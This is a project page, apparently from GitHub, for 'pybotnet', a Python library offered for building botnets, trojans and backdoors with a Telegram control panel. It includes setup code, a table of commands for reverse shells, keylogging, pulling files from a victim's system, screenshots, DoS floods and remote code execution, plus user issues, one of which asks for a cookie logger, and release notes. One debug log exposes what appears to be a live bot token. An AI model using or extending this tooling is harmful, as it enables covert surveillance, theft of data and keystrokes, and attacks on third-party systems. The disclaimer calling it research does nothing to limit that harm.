pybotnet - A Python Library for building Botnet , Trojan or BackDoor for windows and linux with Telegram control panel

Overview

trojan horse

pybotnet

A Python Library for building botnet , trojan or backdoor for windows and linux with Telegram control panel

Disclaimer: Please note that this is a research project. I am by no means responsible for any usage of this tool. Use it on your behalf.

Persian document داکیومنت فارسی

Features:

  • Telegram anti-filter control panel
  • reverse shell
  • keylogger
  • extract target info
  • sleep source by Optional message
  • export file/s to target's system
  • import file/s from target's system
  • screenshot
  • Task Scheduler
  • Website Opener
  • Sound Player
  • Denial-Of-Service Attacker
  • Python Code runner

for more, see commands table at the end of this page

Requirements:

  • Python 3.6 or higher
  • Telegram account

Usage:

pip install pybotnet
from pybotnet import pybotnet
import time

# change TELEGRAM_TOKEN and  ADMIN_CHAT_ID to valid data:

# telegram api token (Get it from the telegram @botfather)
TELEGRAM_TOKEN = '1468299547:ABHs_________MzZcYxF_e00000000000'

# telegram account number ID (get it from @userinfobot)
ADMIN_CHAT_ID = '12345678910'



# * show_log:          just for debugging
# * send_system_data:  send system short info in every bot messages in telegram

bot = pybotnet.PyBotNet(TELEGRAM_TOKEN, ADMIN_CHAT_ID,
                        show_log=True, send_system_data=True)

delay = 7

while True:
    print('*-*'*15)
    bot.get_and_execute_scripts_by_third_party_proxy()
    time.sleep(delay)

Commmands:

Send the desired command to your bot in telegram, using the admin account registered in the trojan.

to run a command on only one target, use : <Target_MAC_Address> <command> ,Example: 66619484755211 get_info

COMMAND Sample DOES THIS version tested on
get_info get_info returns system info 0.06 windows, linux
do_sleep <scconds> <message (Optional)> do_sleep 99999 hi, i see you! Sleeps with printing a message. 0.08 windows, linux
cmd <system command> cmd mkdir new_folder cmd cd .., cmd ls runs system commands in shell or cmd 0.07 windows, linux
export_file <link> export_file https://github.com/onionj/pybotnet/archive/refs/heads/master.zip file will be exported on the target machine and saved to the script path 0.14 windows, linux
import_file <file_route> import_file /home/onionj/folder/somting.png imports a file from target system (limit:5GB & 20min) 0.17.0 windows, linux
screenshot screenshot Takes a screenshot, uploads it to the online server and returns the download link 0.18.1 windows, linux
help help sends help menu 0.18.5 windows, linux
/start /start runs help command !! 0.18.7 windows, linux
<MAC_Address> reverse_shell or reverse_shell 66619484755211 reverse_shell and exit for exit! starst reverse shell on the target machine 0.20.1 windows, linux
keylogger keylogger start and keylogger stop to stop the keylogger Starts a keylogger on victim's system. keylogger can't handle persian words very correctly 0.21.1 windows, linux
scheduler scheduler start ,stop , list Adds a schedule to be run each n second 0.25.3 windows, linux
playsound playsound <sound-name> Will play a sound. Playsound can only play MP3 or WAV Files. 0.25.3 windows, linux
openurl openurl <url> <how-many-times> Will open a url n times. 0.25.3 windows, linux
dos dos <attack-type [GETFlood-ACKFlood]> <target-ip> <target-port> <thread-number> <payload-size> Will run Denial-Of-Service Attack. 1.0.0 windows
runcode runcode <code> Will run python code, The code should be written in a seperate line with correct python syntax, Because of python limitations , The function can't return the results. 1.0.0 windows, Linux

If you like this repo and find it useful, please consider ★ starring it (on top right of the page) and forking it :)

TODO List

Sample GUI Trojan created by pybotnet: VINET

Infected Game With PyBotNet: Infected Game With PyBotNet

Contributors

Thanks goes to these wonderful people :


oNion


TorhamDev


SepehrRasouli

Comments
  • ImportError

    ImportError

    Hi, onionj. When I imported pybotnet and ran the code I got this error. ImportError: cannot import name 'util' from partially initialized module 'pybotnet' (most likely due to a circular import) Would you help me, please?

    bug help wanted 
    opened by Ali-Imangholi 13
  • I have a problem running the file main.py

    I have a problem running the file main.py

    Traceback (most recent call last): File "/data/data/com.termux/files/home/pybotnet/pybotnet/main.py", line 3, in from . import * ImportError: attempted relative import with no known parent package

    opened by pbthong 6
  • Develop botnet

    Develop botnet

    Hi my friend, this project is great, but its options are few, I am waiting for amazing updates and adding options for keylogger, screenshot, download, upload, etc. Please develop the botnet.

    opened by alix1011 6
  • Xlib.error.DisplayNameError: Bad display name

    Xlib.error.DisplayNameError: Bad display name ""

    first, i like this botnet.. is good because using telegram . .. but i got this error :

    Traceback (most recent call last): File "/usr/local/lib/python3.7/runpy.py", line 183, in _run_module_as_main mod_name, mod_spec, code = _get_module_details(mod_name, _Error) File "/usr/local/lib/python3.7/runpy.py", line 142, in _get_module_details return _get_module_details(pkg_main_name, error) File "/usr/local/lib/python3.7/runpy.py", line 109, in _get_module_details import(pkg_name) File "/usr/local/lib/python3.7/site-packages/pybotnet/init.py", line 1, in from .pybotnet import PyBotNet File "/usr/local/lib/python3.7/site-packages/pybotnet/pybotnet.py", line 2, in from . import util File "/usr/local/lib/python3.7/site-packages/pybotnet/util.py", line 20, in from pynput import keyboard File "/usr/local/lib/python3.7/site-packages/pynput/init.py", line 40, in from . import keyboard File "/usr/local/lib/python3.7/site-packages/pynput/keyboard/init.py", line 52, in from ._xorg import KeyCode, Key, Controller, Listener File "/usr/local/lib/python3.7/site-packages/pynput/keyboard/_xorg.py", line 39, in from pynput._util.xorg import ( File "/usr/local/lib/python3.7/site-packages/pynput/_util/xorg.py", line 40, in _check() File "/usr/local/lib/python3.7/site-packages/pynput/_util/xorg.py", line 38, in _check display = Xlib.display.Display() File "/usr/local/lib/python3.7/site-packages/Xlib/display.py", line 89, in init self.display = _BaseDisplay(display) File "/usr/local/lib/python3.7/site-packages/Xlib/display.py", line 71, in init protocol_display.Display.init(self, *args, **keys) File "/usr/local/lib/python3.7/site-packages/Xlib/protocol/display.py", line 84, in init name, protocol, host, displayno, screenno = connect.get_display(display) File "/usr/local/lib/python3.7/site-packages/Xlib/support/connect.py", line 73, in get_display return mod.get_display(display) File "/usr/local/lib/python3.7/site-packages/Xlib/support/unix_connect.py", line 76, in get_display raise error.DisplayNameError(display) Xlib.error.DisplayNameError: Bad display name ""

    can you help ? ,

    help wanted question 
    opened by BJM15 3
  • Help me

    Help me

    Hi, I couldn't create main.py for myself, how should I add voice recorder and screen recorder to my file or add key logger or Google cookie logger? please help me

    opened by Rezahackm 3
  • Enhancment for pybotnet

    Enhancment for pybotnet

    Hello again , Onionj. Pybotnet does a great job in solving the issue of Telegram being blocked in Iran , but this app is not only intended for Iranian's so I believe that using a proxy in countries where freedom of speech is respected might not be useful so we can make it an optional choice. What are your thoughts ? SepehrRS

    wontfix 
    opened by SepehrRasouli 3
  • A question about configs.py.sample

    A question about configs.py.sample

    Hi, Onionj. I've read your Persian documentation and i noticed that you said the delay should not be less than 10. why? and why you haven't write the same for the English documentation? Because the delay in the README.MD version of configs.py.sample has a delay of 7 seconds and the delay in the original configs.py.sample code has a delay of 10 seconds. What are your thoughts ? How can we fix this ? SepehrRS.

    question 
    opened by SepehrRasouli 3
  • Added keylogger to pybotnet

    Added keylogger to pybotnet

    The keylogger command was added , and to activate it the user has to send keylogger start. the function will handle whether the keylogging system is activated already or not. If not , the function will send an error to deactivate the keylogger , the user has to send keylogger stop. the function will handle whether the keylogging system is activated or not. if not , it will send an error , otherwise , keylogging will be stopped and it will send the url to logged keys zip file. the keylogging system cannot handle Persian words very well , but all English words are handled correctly. all keys will have dates to indicate when they were recorded. all keys will be recorded in a textfile named klog.txt by default.

    opened by SepehrRasouli 3
  • error in open[SOLVED]

    error in open[SOLVED]

    hey i'm using this on windows 10, and when i place token and admin id in source and run it, i got this error

    Traceback (most recent call last):
      File "d:/My-projects/botnet_for_systems_pico_ducky/main.py", line 2, in <module>
        from pybotnet import BotNet, TelegramEngine
      File "C:\Users\Asus\AppData\Local\Programs\Python\Python38\lib\site-packages\pybotnet\__init__.py", line 3, in <module>
        from .botnet import BotNet as BotNet
      File "C:\Users\Asus\AppData\Local\Programs\Python\Python38\lib\site-packages\pybotnet\botnet.py", line 15, in <module>
        from .context import Context
      File "C:\Users\Asus\AppData\Local\Programs\Python\Python38\lib\site-packages\pybotnet\context.py", line 9, in <module>
        class Context:
      File "C:\Users\Asus\AppData\Local\Programs\Python\Python38\lib\site-packages\pybotnet\context.py", line 37, in Context
        def get_all_global_values(cls) -> dict[Any, Any]:
    TypeError: 'type' object is not subscriptable
    

    what should i do?

    opened by ebad84 2
  • Transfer all functions to util.py

    Transfer all functions to util.py

    Hi Onionj. As a contributor, I've a hard time trying to write new features and I can't use the pybotnet's features so I've to kinda invent the wheel again every time I want to run a command and etc. I would be very happy if you consider transferring all the useful features and their functions to util.py so the contributors wouldn't have a hard time trying to write new and useful features.

    opened by SepehrRasouli 2
  • Mybot can not receive and execute command

    Mybot can not receive and execute command

    Mybot had contacted my telegram successfully but when i type commands (/who, /help,...) the bot still can not get and execute them. Here is the log:

    DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "GET /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/getMe HTTP/1.1" 200 193 DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/Getupdates?offset=442620547&limit=100 HTTP/1.1" 200 331 DEBUG:--> pybotnet.botnet : DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "GET /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/getMe HTTP/1.1" 200 193 DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/Getupdates?offset=442620547&limit=100 HTTP/1.1" 200 331 DEBUG:--> pybotnet.botnet : DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "GET /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/getMe HTTP/1.1" 200 193 DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/Getupdates?offset=442620547&limit=100 HTTP/1.1" 200 331 DEBUG:--> pybotnet.botnet : DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "GET /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/getMe HTTP/1.1" 200 193 DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/Getupdates?offset=442620547&limit=100 HTTP/1.1" 200 331 DEBUG:--> pybotnet.botnet :

    My python 3.8, pybotnet>=2 What can i do now?

    help wanted question 
    opened by hanoivip 1
Releases(v2.2.2)
  • v2.2.2(Sep 3, 2022)

  • v2.2.1(Aug 16, 2022)

  • v2.2.0(Aug 5, 2022)

  • 2.1.0(Jul 2, 2022)

    Everything has changed in version 2.1.0 !

    To view the document, go to this link: https://onionj.github.io/pybotnet/

    Features:

    • Ability to easily add custom scripts
    • external scripts
    • to add custom control panel
    • in Telegram control pannel and proxy
    • in scripts like:
      • reverse shell
      • put or get file
      • run python code on target systems
      • get screenshot
      • keylogger
      • dos
      • scheduler
      • ...
    • Cross platform
    • remote control to your apps ...
    Source code(tar.gz)
    Source code(zip)
  • 2.0.9b0(Jun 27, 2022)

    Everything has changed in version 2 !

    To view the document, go to this link: https://onionj.github.io/pybotnet/

    Features:

    • Ability to easily add custom scripts
    • Import external scripts
    • Ability to add custom control panel
    • Built in Telegram control pannel and proxy
    • Built in scripts like:
      • reverse shell
      • put or get file
      • run python code on target systems
      • get screenshot
      • keylogger
      • dos
      • scheduler
      • ...
    • Cross platform
    • Add remote control to your apps
    • ...
    Source code(tar.gz)
    Source code(zip)
  • v1.0.5(May 31, 2022)

  • v1.0.4(Nov 29, 2021)

    https://github.com/onionj/pybotnet/pull/21#issue-1065277047

     @SepehrRasouli:
    runcode command had a problem like cmd command , which it would run forever non-stop , so I fixed it with the same solution i used for the cmd command.
    I also edited some minor things and tested the code , and the code worked properly.
    Please change the version.
    If you encountered any problem , contact me.
    
    Source code(tar.gz)
    Source code(zip)
  • v1.0.3(Oct 14, 2021)

    Features:

    • Telegram anti-filter control panel
    • reverse shell
    • keylogger
    • extract target info
    • sleep source by Optional message
    • export file/s to target's system
    • import file/s from target's system
    • screenshot
    • Task Scheduler
    • Website Opener
    • Sound Player
    • Denial-Of-Service Attacker
    • Python Code runner
    Source code(tar.gz)
    Source code(zip)
  • v1.0.1(Oct 12, 2021)

    Features:

    • Telegram anti-filter control panel
    • reverse shell
    • keylogger
    • get target info
    • sleep source by Optional message
    • export file to targets system
    • import file from target system
    • get screenshot
    • Task Scheduler
    • Open Website
    • Play Sound
    • Denial-Of-Service Attack
    • Run python code
    Source code(tar.gz)
    Source code(zip)
  • v0.25.3(Oct 5, 2021)

    Features

    • Telegram anti-filter control panel
    • reverse shell
    • keylogger
    • get target info
    • sleep source by Optional message
    • export file to targets system
    • import file from target system
    • get screenshot
    • Task Scheduler
    • Open Website
    • Play Sound
    Source code(tar.gz)
    Source code(zip)
  • v0.21.3(Sep 21, 2021)

    Features:

    • Telegram anti-filter control panel
    • get command from telegram and execute scripts
    • get command and send message by third party proxy
    • reverse shell
    • keylogger
    • get target info
    • sleep source by Optional message
    • export file to targets system
    • import file from target system
    • get screenshot
    Source code(tar.gz)
    Source code(zip)
  • v0.20.8(Sep 18, 2021)

    trojan horse

    pybotnet

    A Python Library for building botnet , trojan or backdoor for windows and linux with Telegram control panel

    Disclaimer: Please note that this is a research project. I am by no means responsible for any usage of this tool. Use it on your behalf.

    Persian document داکیومنت فارسی

    Features:

    • Telegram anti-filter control panel
    • get command from telegram and execute scripts
    • get command and send message by third party proxy
    • reverse shell
    • get target info
    • sleep source by Optional message
    • export file to targets system
    • import file from target system
    • get screenshot
    Source code(tar.gz)
    Source code(zip)
  • v0.18.7(Jul 28, 2021)

    new:

    • add help and /start command

    Features:

    • Telegram anti-filter control panel
    • get command from telegram and execute scripts
    • get command and send message by third party proxy
    • get target info
    • sleep source by Optional message
    • get ls (dirctory list)
    • export file to targets system
    • import file from target system
    • get screenshot
    Source code(tar.gz)
    Source code(zip)
  • v0.18.6(Jul 24, 2021)

  • v0.18.5(Jul 22, 2021)

  • v0.18.1(Jul 22, 2021)

    Features:

    get command from telegram and execute scripts
    get command and send message by third party proxy
    get target info
    sleep source by Optional message
    get ls (dirctory list)
    export file to targets system
    import file from target system
    + get screenshot
    
    Source code(tar.gz)
    Source code(zip)
  • v0.17.0(Jul 17, 2021)

    Features:

    • get command from telegram and execute scripts
    • get command and send message by third party proxy
    • get target info
    • sleep source by Optional message
    • get ls (dirctory list)
    • export file to targets system
    • import file from target system
    Source code(tar.gz)
    Source code(zip)
  • v0.15.5(Jul 3, 2021)

    Features:

    • get command from telegram and execute scripts
    • get command and send message by third party proxy
    • get target info
    • sleep source by Optional message
    • get ls (dirctory list)
    • export file to targets system (target download a link :) )
    • for more see commands table end of this page
    Source code(tar.gz)
    Source code(zip)
Owner
:) -> Geek
</oNion
Getting my gitlab commit history into github

🔰 ᵀᴱᴸᴱᴳᴿᴬᴹ ᴴᴬᶜᴷ ᴮᴼᵀ 🔰 The owner would not be responsible for any kind of bans due to the bot. • ⚡ INSTALLING ⚡ • • 🛠️ Lᴀɴɢᴜᴀɢᴇs Aɴᴅ Tᴏᴏʟs 🔰 • If

Santiago Chiesa 1 Dec 24, 2021
A Docker based LDAP RCE exploit demo for CVE-2021-44228 Log4Shell

log4j-poc An LDAP RCE exploit for CVE-2021-44228 Log4Shell Description This demo Tomcat 8 server has a vulnerable app deployed on it and is also vulne

60 Dec 10, 2022
BloodyAD is an Active Directory Privilege Escalation Framework

BloodyAD Framework BloodyAD is an Active Directory Privilege Escalation Framework, it can be used manually using bloodyAD.py or automatically by combi

757 Jan 07, 2023
python script for hack gmail account using brute force attack

#Creator: johnry #coded by john ry GBrute python script for hack gmail account using brute force attack Commands apt update && apt upgrade git clone h

6 Dec 09, 2022
Security system to prevent Shoulder Surfing Attacks

Surf_Sec Security system to prevent Shoulder Surfing Attacks. REQUIREMENTS: Python 3.6+ XAMPP INSTALLED METHOD TO CONFIGURE PROJECT: Clone the repo to

Aman Anand 1 Jan 27, 2022
LaxrFar Python Obfuscator

LaxrFar Python Obfuscator Usage First do the things from "Upload to Webserver" o

LaxrFar 5 Jul 19, 2022
Discord-keylogger - Discord keylogger With Python

Discord-keylogger Usage python dlogger.py -t [Time interval in sec] if not speci

Satwik Sinha 1 Jan 30, 2022
Cve-2021-22005-exp

cve-2021-22005-exp 0x01 漏洞简介 2021年9月21日,VMware发布安全公告,公开披露了vCenter Server中的19个安全漏洞,这些漏洞的CVSSv3评分范围为4.3-9.8。 其中,最为严重的漏洞为vCenter Server 中的任意文件上传漏洞(CVE-20

Jing Ling 146 Dec 31, 2022
A Burp Pro extension that adds log4shell checks to Burp Scanner

scan4log4shell A Burp Pro extension that adds log4shell checks to Burp Scanner, written by Daniel Crowley of IBM X-Force Red. Installation To install

X-Force Red 26 Mar 15, 2022
You can manage your password with this program.

You must have Python compilers in order to run this program. First of all, download the compiler in the link.

Mustafa Bahadır Doğrusöz 6 Aug 07, 2021
Argument Injection in Dragonfly Ruby Gem

CVE-2021-33564 PoC Exploit script for CVE-2021-33564 (Argument Injection in Dragonfly Ruby Gem). Usage Arbitrary File Read python3 poc.py -u https://

Michael Tsai 12 Nov 09, 2022
Pre-Auth Blind NoSQL Injection leading to Remote Code Execution in Rocket Chat 3.12.1

CVE-2021-22911 Pre-Auth Blind NoSQL Injection leading to Remote Code Execution in Rocket Chat 3.12.1 The getPasswordPolicy method is vulnerable to NoS

Enox 47 Nov 09, 2022
NS-LOOKUP - A python script for scanning website for getting ip address of a website

NS-LOOKUP A python script for scanning website for getting ip address of a websi

Spider Anongreyhat 5 Aug 02, 2022
Python Library For Ethical Hacker

Python Library For Ethical Hacker

11 Nov 03, 2022
Natas teaches the basics of serverside web-security.

over-the-wire-natas Natas teaches the basics of serverside web-security. Each level of natas consists of its own website located at http://natasX.nata

Siddhant Chouhan 1 Nov 27, 2021
Vulnerability Exploitation Code Collection Repository

Introduction expbox is an exploit code collection repository List CVE-2021-41349 Exchange XSS PoC = Exchange 2013 update 23 = Exchange 2016 update 2

0x0021h 263 Feb 14, 2022
JS Deobfuscation is a Python script that deobfuscate JS code and it's time saver for you.

JS Deobfuscation is a Python script that deobfuscate JS code and it's time saver for you. Although it may not work with high degrees of obfuscation, it's a pretty nice tool to help you even if it's j

Quatrecentquatre 3 May 01, 2022
Trainspotting - Python Dependency Injector based on interface binding

Choose dependency injection Friendly with MyPy Supports lazy injections Supports

avito.tech 3 Jan 26, 2022
Local File Inclusion Scanner and Exploiter

LFI-Paradise Local File Inclusion Scanner and Exploiter Features 1- Scanner 2- E

11 Sep 04, 2022
TCP/UDP port scanner on python, usong scapy and multiprocessin

Port Scanner TCP/UDP port scanner on python, usong scapy and multiprocessing. Usage python3 scanner.py [OPTIONS] IP_ADDRESS [{tcp|udp}[/[PORT|PORT-POR

Egor Krokhin 1 Dec 05, 2021